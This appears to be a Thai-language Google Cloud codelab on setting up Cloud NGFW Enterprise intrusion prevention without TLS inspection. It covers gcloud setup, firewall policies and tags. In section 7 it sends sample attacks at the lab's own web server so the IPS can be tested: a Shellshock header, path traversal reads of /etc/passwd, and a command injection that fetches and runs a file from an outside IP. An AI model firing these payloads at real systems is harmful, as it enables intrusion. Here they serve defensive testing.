Cloud NGFW Enterprise - บริการป้องกันการบุกรุก (ไม่มีการตรวจสอบ TLS)

1. บทนำ

ไฟร์วอลล์รุ่นใหม่บนระบบคลาวด์ (NGFW)

Cloud Next Generation Firewall เป็นบริการไฟร์วอลล์แบบกระจายอย่างเต็มรูปแบบที่มีความสามารถในการป้องกันขั้นสูง การแบ่งส่วนย่อย และความครอบคลุมที่กว้างขวางเพื่อปกป้องภาระงาน Google Cloud จากการโจมตีทั้งภายในและภายนอก

Cloud NGFW มีประโยชน์ดังนี้

  • บริการไฟร์วอลล์แบบกระจาย: Cloud NGFW มีการบังคับใช้แบบมีสถานะที่อิงตามโฮสต์แบบกระจายอย่างเต็มรูปแบบในแต่ละภาระงานเพื่อเปิดใช้สถาปัตยกรรมการรักษาความปลอดภัยแบบ Zero Trust
  • การกำหนดค่าและการติดตั้งใช้งานที่ง่ายขึ้น: Cloud NGFW จะใช้นโยบายเครือข่ายและนโยบายไฟร์วอลล์แบบลำดับชั้นที่แนบกับโหนดลำดับชั้นทรัพยากรได้ นโยบายเหล่านี้มอบประสบการณ์การใช้งานไฟร์วอลล์ที่สอดคล้องกันในลำดับชั้นทรัพยากรของ Google Cloud
  • การควบคุมแบบละเอียดและการแบ่งส่วนย่อย: การผสมผสานระหว่างนโยบายไฟร์วอลล์และแท็กที่ควบคุมโดยการจัดการข้อมูลประจำตัวและการเข้าถึง (IAM) ช่วยให้ควบคุมการรับส่งข้อมูลทั้งแบบเหนือ-ใต้และแบบตะวันออก-ตะวันตกได้อย่างละเอียดจนถึงระดับ VM เดียวในเครือข่าย Virtual Private Cloud (VPC) และองค์กร

Cloud NGFW พร้อมให้บริการในระดับต่อไปนี้

Cloud NGFW Enterprise

Cloud NGFW Enterprise เพิ่มบริการป้องกันการบุกรุก (IPS) ซึ่งเป็นความสามารถของเลเยอร์ 7 ลงในโครงสร้าง Google Cloud Firewall แบบกระจาย ระบบรองรับการตรวจสอบ TLS เพื่ออนุญาตการตรวจสอบการรับส่งข้อมูลที่เข้ารหัส TLS แต่จะอยู่นอกขอบเขตของ Codelab นี้ (ดู Cloud NGFW Enterprise Codelab ที่มีการตรวจสอบ TLS)

ตอนนี้คุณสามารถติดตั้งใช้งานการตรวจสอบไฟร์วอลล์รุ่นใหม่ (NGFW) เลเยอร์ 7 ที่เชื่อถือได้พร้อมการควบคุมแบบละเอียดโดยไม่ต้องทำการเปลี่ยนแปลงสถาปัตยกรรมเครือข่ายหรือการกำหนดค่าการกำหนดเส้นทาง

หากต้องการเปิดใช้งานและติดตั้งใช้งานการควบคุมไฟร์วอลล์เลเยอร์ 7 ด้วย IPS คุณต้องทําสิ่งต่อไปนี้

  • สร้างชุดของปลายทางไฟร์วอลล์ระดับโซนที่จัดการโดย Google Cloud
  • สร้างนโยบายการตรวจสอบ TLS (ไม่ครอบคลุมในโค้ดแล็บนี้)
  • สร้างการกำหนดค่าความน่าเชื่อถือ (ไม่ครอบคลุมในโค้ดแล็บนี้)
  • เชื่อมโยงปลายทางเหล่านี้กับเครือข่าย Virtual Private Cloud (VPC) ที่คุณต้องการใช้บริการ Cloud NGFW Enterprise
  • ทำการเปลี่ยนแปลงนโยบายไฟร์วอลล์และกฎไฟร์วอลล์ที่มีอยู่เล็กน้อยเพื่อระบุโปรไฟล์การป้องกันภัยคุกคามสำหรับเส้นทางการรับส่งข้อมูลต่างๆ

นโยบายไฟร์วอลล์เครือข่าย

นโยบายไฟร์วอลล์เครือข่ายทำหน้าที่เป็นคอนเทนเนอร์สำหรับกฎไฟร์วอลล์ กฎที่กำหนดไว้ในนโยบายไฟร์วอลล์เครือข่ายจะไม่มีผลที่ใดจนกว่าจะมีการเชื่อมโยงนโยบายกับเครือข่าย VPC เครือข่าย VPC แต่ละเครือข่ายสามารถมีนโยบายไฟร์วอลล์เครือข่ายที่เชื่อมโยงได้ 1 รายการ นโยบายไฟร์วอลล์เครือข่ายรองรับแท็กที่ควบคุมโดย IAM (หรือเพียงแค่แท็ก) ในกฎไฟร์วอลล์ ซึ่งจะแทนที่แท็กเครือข่ายปัจจุบันและใช้เพื่อระบุตัวตนให้กับภาระงานได้

การแชร์นโยบายไฟร์วอลล์เครือข่ายในเครือข่ายต่างๆ และการผสานรวมกับแท็กที่ควบคุมโดย IAM จะช่วยลดความซับซ้อนในการกำหนดค่าและการจัดการไฟร์วอลล์ได้อย่างมาก

เมื่อเปิดตัวนโยบายไฟร์วอลล์เครือข่าย นโยบายไฟร์วอลล์ของ Google Cloud จึงประกอบด้วยคอมโพเนนต์ต่อไปนี้

  1. นโยบายไฟร์วอลล์แบบลำดับชั้น
  2. กฎไฟร์วอลล์ VPC
  3. นโยบายไฟร์วอลล์เครือข่าย ( ทั่วโลกและระดับภูมิภาค)

ระบบรองรับนโยบายไฟร์วอลล์แบบลำดับชั้นที่โหนดองค์กรและโฟลเดอร์ภายในลำดับชั้นทรัพยากร ในขณะที่กฎไฟร์วอลล์ VPC และนโยบายไฟร์วอลล์เครือข่ายจะใช้ในระดับ VPC ความแตกต่างที่สำคัญระหว่างกฎไฟร์วอลล์ VPC กับนโยบายไฟร์วอลล์เครือข่ายคือ กฎไฟร์วอลล์ VPC ใช้ได้กับเครือข่าย VPC เดียวเท่านั้น ในขณะที่นโยบายไฟร์วอลล์เครือข่ายสามารถแนบกับ VPC เดียวหรือกลุ่ม VPC ได้ นอกเหนือจากประโยชน์อื่นๆ เช่น การอัปเดตแบบเป็นชุด

สุดท้ายนี้ เรายังมีกฎไฟร์วอลล์โดยนัยที่มาพร้อมกับเครือข่าย VPC ทุกเครือข่ายด้วย

  • กฎขาออกที่มีการดำเนินการเป็นอนุญาต ปลายทางเป็น 0.0.0.0/0
  • กฎขาเข้าที่มีการดำเนินการเป็นปฏิเสธและแหล่งที่มาเป็น 0.0.0.0/0

โดยค่าเริ่มต้น ลำดับการบังคับใช้จะแสดงในแผนภาพต่อไปนี้

21b3bcabc469ffe.png

โปรดทราบว่าสามารถสลับลำดับการบังคับใช้ระหว่างกฎไฟร์วอลล์ VPC กับนโยบายไฟร์วอลล์เครือข่ายส่วนกลางได้ ลูกค้าสามารถระบุลำดับการบังคับใช้ได้ทุกเมื่อด้วยคำสั่ง gcloud

แท็กที่ควบคุมโดย IAM

แท็กใหม่ที่ผสานรวมในกฎนโยบายไฟร์วอลล์ของเครือข่ายคือทรัพยากรคู่คีย์-ค่าที่กำหนดไว้ที่ระดับองค์กรหรือระดับโปรเจ็กต์ของลำดับชั้นทรัพยากรของ Google Cloud แท็กดังกล่าวมีการควบคุมการเข้าถึง IAM ตามชื่อที่ระบุว่าใครทำอะไรในแท็กได้บ้าง เช่น สิทธิ์ IAM ช่วยให้ระบุได้ว่าผู้ใช้รายใดสามารถกำหนดค่าให้กับแท็ก และผู้ใช้รายใดสามารถแนบแท็กกับทรัพยากรได้ เมื่อใช้แท็กกับทรัพยากรแล้ว กฎไฟร์วอลล์เครือข่ายจะใช้แท็กดังกล่าวเพื่ออนุญาตและปฏิเสธการรับส่งข้อมูลได้

แท็กเป็นไปตามโมเดลทรัพยากรการรับช่วงของ Google Cloud ซึ่งหมายความว่าระบบจะส่งแท็กและค่าของแท็กผ่านลำดับชั้นจากระดับบนสุด ด้วยเหตุนี้ ระบบจึงอาจสร้างแท็กในที่เดียว แล้วโฟลเดอร์และโปรเจ็กต์อื่นๆ จะใช้แท็กนั้นได้ทั่วทั้งลำดับชั้นของทรัพยากร ดูรายละเอียดเกี่ยวกับแท็กและการจำกัดการเข้าถึงได้ที่หน้านี้

อย่าสับสนระหว่างแท็กกับแท็กเครือข่าย ส่วนหลังคือสตริงที่เพิ่มลงในอินสแตนซ์ Compute Engine ได้ โดยจะเชื่อมโยงกับอินสแตนซ์และหายไปเมื่อเลิกใช้งานอินสแตนซ์ กฎไฟร์วอลล์ VPC อาจมีแท็กเครือข่าย แต่เนื่องจากไม่ได้ถือว่าเป็นทรัพยากรระบบคลาวด์ จึงไม่อยู่ภายใต้การควบคุมการเข้าถึง IAM

โปรดทราบว่าเอกสารนี้ใช้แท็กและแท็กที่ควบคุมโดย IAM สลับกัน

สิ่งที่คุณจะสร้าง

Codelab นี้ต้องใช้โปรเจ็กต์เดียวและความสามารถในการสร้างเครือข่าย VPC ที่มีการเชื่อมต่อสาธารณะ และจะแสดงให้เห็นว่า Cloud NGFW Enterprise สามารถมอบฟังก์ชัน IPS ได้อย่างไรโดยการดำเนินการต่อไปนี้

  • การตรวจสอบโฟลว์ภายใน VPC/ซับเน็ต [ตะวันออก-ตะวันตก]
  • การตรวจสอบการไหลเข้าจากอินเทอร์เน็ต [เหนือ-ใต้]

ระบบจะเลือกโฟลว์ที่จะตรวจสอบโดยใช้พารามิเตอร์ที่ตรงกันของไฟร์วอลล์ Cloud ซึ่งรวมถึง 5-tuple (IP ต้นทาง, IP ปลายทาง, โปรโตคอล, พอร์ตต้นทาง, พอร์ตปลายทาง) และแท็ก Codelab นี้ไม่มีการตรวจสอบ TLS

52a0642ef8668ecf.png

ฐานกฎนโยบายไฟร์วอลล์เครือข่ายจะคล้ายกับตารางด้านล่าง

ลำดับความสำคัญ

ทิศทาง

Target

แหล่งที่มา

ปลายทาง

การดำเนินการ

ประเภท

100

ขาออก

Quarantine_Tag

ตามแต่ละประเทศ

ตามแต่ละประเทศ

ปฏิเสธ

Essentials

1000

ขาเข้า

Server_Tag

ช่วงการตรวจสอบประสิทธิภาพการทำงาน

ตามแต่ละประเทศ

อนุญาต

Essentials

2000

ขาเข้า

ตามแต่ละประเทศ

ช่วง Identity-Aware Proxy

ตามแต่ละประเทศ

อนุญาต

Essentials

3000

ขาเข้า

ตามแต่ละประเทศ

Geo, GCTI

ตามแต่ละประเทศ

ปฏิเสธ

มาตรฐาน

4000

ขาออก

ตามแต่ละประเทศ

ตามแต่ละประเทศ

Geo, GCTI

ปฏิเสธ

มาตรฐาน

5000

ขาออก

ตามแต่ละประเทศ

ตามแต่ละประเทศ

FQDN ของการอัปเดตระบบ

อนุญาต

มาตรฐาน

6000

ขาเข้า

Server_Tag

10.0.0.0/24

ตามแต่ละประเทศ

IPS

Enterprise

7000

ขาเข้า

Server_Tag

CloudNAT_IP

ตามแต่ละประเทศ

IPS

Enterprise

สิ่งที่คุณจะได้เรียนรู้

สิ่งที่คุณต้องมี

  • โปรเจ็กต์ Google Cloud
  • ความรู้เกี่ยวกับการติดตั้งใช้งานอินสแตนซ์และการกำหนดค่าคอมโพเนนต์เครือข่าย
  • ความรู้เกี่ยวกับการกำหนดค่าไฟร์วอลล์ VPC

2. ก่อนเริ่มต้น

สร้าง/อัปเดตตัวแปร

Codelab นี้ใช้ $variables เพื่อช่วยในการติดตั้งใช้งานการกำหนดค่า gcloud ใน Cloud Shell

ใน Cloud Shell ให้เรียกใช้คำสั่งด้านล่างโดยแทนที่ข้อมูลภายในวงเล็บตามที่จำเป็น (ข้ามการตั้งค่าโปรเจ็กต์หากตั้งค่าโปรเจ็กต์ที่ต้องการไว้แล้ว) ระบบจะใช้ตัวแปรอื่นสำหรับทรัพยากรระดับองค์กรหากจำเป็นต้องใช้หลายรายการ เช่น จุดปลายไฟร์วอลล์

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. เปิดใช้ API

เปิดใช้ API หากยังไม่ได้ดำเนินการ

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. โปรไฟล์ความปลอดภัยของ Cloud NGFW Enterprise และการสร้างปลายทาง

เนื่องจากการสร้างปลายทางของ Cloud NGFW Enterprise ใช้เวลาประมาณ 20 นาที ระบบจึงจะสร้างปลายทางก่อน และคุณสามารถทำการตั้งค่าพื้นฐานไปพร้อมๆ กันในขณะที่ระบบสร้างปลายทาง

สร้างโปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัย

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

ผลลัพธ์ที่คาดไว้

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

ยืนยันว่าสร้างทรัพยากรสำเร็จแล้วโดยทำดังนี้

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

ผลลัพธ์ที่คาดไว้

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

สร้างปลายทาง Cloud NGFW Enterprise โดยทำดังนี้

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

เรียกใช้คำสั่งด้านล่างเพื่อยืนยันว่าระบบกำลังสร้างปลายทาง (STATE: CREATING)

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ผลลัพธ์ที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

หรือจะเรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

ผลลัพธ์ที่คาดไว้

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

กระบวนการสร้างปลายทางจะใช้เวลาประมาณ 20 นาที ไปที่ส่วนการตั้งค่าพื้นฐานเพื่อสร้างทรัพยากรที่จำเป็นควบคู่กันไป

5. การตั้งค่าฐาน

ไปที่ส่วนต่อไปนี้หากต้องการสร้างทรัพยากรพื้นฐานด้วยตนเอง

เครือข่ายและซับเน็ต VPC

เครือข่ายและซับเน็ต VPC

สร้างเครือข่าย VPC และซับเน็ต

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

สร้าง Cloud Router และเกตเวย์ Cloud NAT

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

อินสแตนซ์

สร้างอินสแตนซ์ไคลเอ็นต์และเว็บเซิร์ฟเวอร์

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

แท็กระดับโปรเจ็กต์

มอบหมายสิทธิ์ tagAdmin และ/หรือ tagUser ให้กับผู้ใช้หากจำเป็น โดยทำดังนี้

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

สร้างคีย์และค่าแท็กระดับโปรเจ็กต์

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

เชื่อมโยงแท็กกับอินสแตนซ์

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

นโยบายไฟร์วอลล์เครือข่ายส่วนกลาง

สร้างนโยบายไฟร์วอลล์เครือข่ายส่วนกลาง

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

สร้างกฎที่จำเป็นของไฟร์วอลล์ในระบบคลาวด์เพื่อปฏิเสธการรับส่งข้อมูลจากอินสแตนซ์ที่ถูกกักกัน (สร้างขึ้นเป็นตัวอย่างเท่านั้น ไม่ได้ใช้ในโค้ดแล็บนี้) และอนุญาตการรับส่งข้อมูลจากช่วง health-check และ identity-aware proxy

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

สร้างกฎมาตรฐานของ Cloud Firewall เพื่อปฏิเสธการรับส่งข้อมูลขาเข้าและขาออกจาก/ไปยังประเทศที่ถูกคว่ำบาตร, IP ที่เป็นอันตรายที่ทราบ และโหนดทางออกของ ToR รวมถึงอนุญาตเฉพาะการรับส่งข้อมูลขาออกไปยัง FQDN ที่เฉพาะเจาะจงสำหรับการอัปเดตระบบ (สร้างขึ้นเป็นตัวอย่างเท่านั้น ไม่ได้ใช้ในโค้ดแล็บนี้)

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

สร้างกฎไฟร์วอลล์ของ Cloud เพื่ออนุญาตการรับส่งข้อมูลขาเข้าแบบ East-West / ภายในซับเน็ต และ North-South / อินเทอร์เน็ตจากช่วงที่เฉพาะเจาะจง (ระบบจะอัปเดตกฎเหล่านี้เพื่อเปิดใช้ Cloud NGFW Enterprise)

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

เชื่อมโยงนโยบายไฟร์วอลล์เครือข่ายกับเครือข่าย VPC โดยทำดังนี้

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

ตัวจัดสรรภาระงานเครือข่าย TCP/UDP ภายนอก

จองที่อยู่ IP ภายนอกและสร้างกลุ่มอินสแตนซ์และการตรวจสอบสถานะ

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

สร้างบริการแบ็กเอนด์และกฎการส่งต่อ

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. การเชื่อมโยงอุปกรณ์ปลายทางขององค์กรกับ Cloud NGFW

กำหนดตัวแปรสภาพแวดล้อมใหม่หากจำเป็น

ยืนยันว่าการสร้างปลายทางไฟร์วอลล์ระบบคลาวด์เสร็จสมบูรณ์แล้ว ดำเนินการต่อเมื่อสถานะแสดงเป็นใช้งานอยู่ (ระหว่างการสร้าง สถานะที่คาดไว้คือกำลังสร้าง)

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ผลลัพธ์ที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

หรือจะเรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

ผลลัพธ์ที่คาดไว้

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

เชื่อมโยงปลายทาง Cloud NGFW Enterprise กับเครือข่าย VPC โดยทำดังนี้

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

กระบวนการเชื่อมโยงจะใช้เวลาประมาณ 10 นาที ดำเนินการต่อเมื่อสถานะแสดงเป็นใช้งานอยู่เท่านั้น (สถานะที่คาดไว้คือกำลังสร้างในระหว่างกระบวนการสร้าง)

gcloud network-security firewall-endpoint-associations list

ผลลัพธ์ที่คาดไว้

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

หรือจะเรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

ผลลัพธ์ที่คาดไว้

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. กฎการตรวจสอบระดับองค์กรของ Cloud NGFW

เปิดแท็บใหม่และเริ่มการเชื่อมต่อ SSH กับ VM ไคลเอ็นต์ผ่าน IAP (คุณจะต้องกำหนดตัวแปรอีกครั้งในแท็บใหม่)

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

กำหนดตัวแปรที่จำเป็นในเซสชัน SSH และตั้งค่าตัวแปร (ตรวจสอบว่าค่าถูกต้อง)

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

เรียกใช้ curl ทั้ง 2 IP เพื่อยืนยันว่าเข้าถึงได้

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

ผลลัพธ์ที่คาดไว้สำหรับคำขอ curl ทั้ง 2 รายการ

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

ส่งการโจมตีตัวอย่างไปยัง IP ของเซิร์ฟเวอร์ภายใน (การรับส่งข้อมูลภายใน / ภายใน VPC) เว็บเซิร์ฟเวอร์ควรตอบสนองต่อคำขอทั้งหมดเพื่อยืนยันว่าไม่มีการตรวจสอบ/ป้องกันที่เลเยอร์ 7

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ส่งการโจมตีตัวอย่างไปยัง IP ของเซิร์ฟเวอร์ภายนอกผ่าน Cloud NAT (การรับส่งข้อมูลขาเข้าจากภายนอก) และในทำนองเดียวกัน เว็บเซิร์ฟเวอร์ควรตอบกลับคำขอทั้งหมด

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ผลลัพธ์ที่คาดไว้สำหรับทั้ง IP สาธารณะและส่วนตัว

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

เปลี่ยนกลับไปใช้ Cloud Shell และอัปเดตกฎขาเข้าที่มีอยู่เพื่อเปิดใช้การตรวจสอบ L7 โดยทำดังนี้

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

